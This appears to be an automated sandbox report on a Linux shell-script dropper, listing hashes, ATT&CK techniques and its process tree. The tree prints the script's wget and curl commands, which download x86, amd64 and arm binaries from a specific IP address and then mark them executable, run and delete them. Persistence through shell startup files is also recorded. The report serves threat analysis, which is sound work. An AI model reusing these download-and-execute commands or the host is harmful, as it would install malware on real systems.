e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f

Analysis

max time kernel
149s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/05/2026, 05:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
Size 1KB
Sample260529-gntdmsdv2k
SHA256 e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f
MD5 664b478c4edafe1e34a14f4ee7aae372
SHA1 7635841bcf3393fa891464a5161afca5704fc45f
SHA512 b3c64e3654221f8a7cda13a902535e6145ca0c14ba27ce790e6ed48f73eb82add21ec0b4ce083d163576ca866fb58ef4cda53b28a002218208d7cea8c476d37a
TLSH
T1F731A1EB22A090B3C46DED46FB9580C5E04846C3D1E6EFBCBCBC6526489814CF1B5B74
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
764	chmod
671	chmod
685	chmod
725	chmod
731	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/x86	672	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/x86	687	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/amd64	726	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/amd64	732	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm	766	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm
File opened for modification	/etc/profile	arm

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/stat	arm

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl

/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
1⤵
- Executes dropped EXE
PID:643
- /usr/bin/wget
  wget http://176.65.139.148:5001/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:645
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/x86
  ./x86
  2⤵
  PID:672
- /bin/rm
  rm -f x86
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/x86
  ./x86
  2⤵
  PID:687
- /bin/rm
  rm -f x86
  2⤵
  PID:689
- /usr/bin/wget
  wget http://176.65.139.148:5001/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/amd64
  ./amd64
  2⤵
  PID:726
- /bin/rm
  rm -f amd64
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/amd64
  ./amd64
  2⤵
  PID:732
- /bin/rm
  rm -f amd64
  2⤵
  PID:734
- /usr/bin/wget
  wget http://176.65.139.148:5001/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:766

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.8MB
SHA256 9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026
MD5 047dc9f11c7f47a827212957aabe1ed5
SHA1 ba21e020cea4b8a4aa2c48556c900365b71ef842
SHA512 29f91333286b3513b28d1155b71f542b880f628cd26415a0806ec3b24f452e02312395ac64ebe026ab06ecc11b46236171ea0252d25815fd6dfad92f3cf81485
SSDEEP 49152:XTNTSB1n6vt1FMqAha/STqBv8fP4hbSDf/Y5Ep1gC1OjAzmxqJ:DN3N0hD7fP4trEpTz8y
TLSH
T184363A57ECA551E9C0EE923086629253BA717C485F3523D32F60F7782F76BD0AAB9304
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.7MB
SHA256 8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6
MD5 e43bb8833510e07ca1be89595cef8406
SHA1 d0b77e34aff02b3345d31545db6a02f70fa2ccd3
SHA512 ac4920246d53325717f1e0eb8622a1ac9c115bc08cbe6a9754f2a2eb7a4b14cecb9725b3da28d537709563f9e3e6987391044371bb6e69f752c71cb0419205a3
SSDEEP 49152:w5gcqFewiQMzDUTNPUG4ZwcvE8bEIvVf1:ckkwrMzDUT5eJ71
TLSH
T17C360997B8914A83C4E43676BCBD81C833A34EB99B9753666D04FE3C3ABE1990D35704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.7MB
SHA256 abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19
MD5 4371cb24e2578152e89ab50183f89b98
SHA1 1c7185e95076805372a5e80330cb22a78f4debd6
SHA512 786e987ab6b96b046ec4de9a49e0ba069a97513d383cb26a1700a99fcf1b52e24b4d46e2858023074fa3ca3259da342dcf6cbf08ef712d9973ffa69445aac2ab
SSDEEP 49152:GuWxM1Tn/6Lo8vzL2zV7ZGsX6b3xpt2qet6qKJvwvc2ReU:qM1j/Xxq2qqpvVeU
TLSH
T140361790FECB51F6D9031E3144ABA23F63315D058B24EB97EA547F29FA3B691193620C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads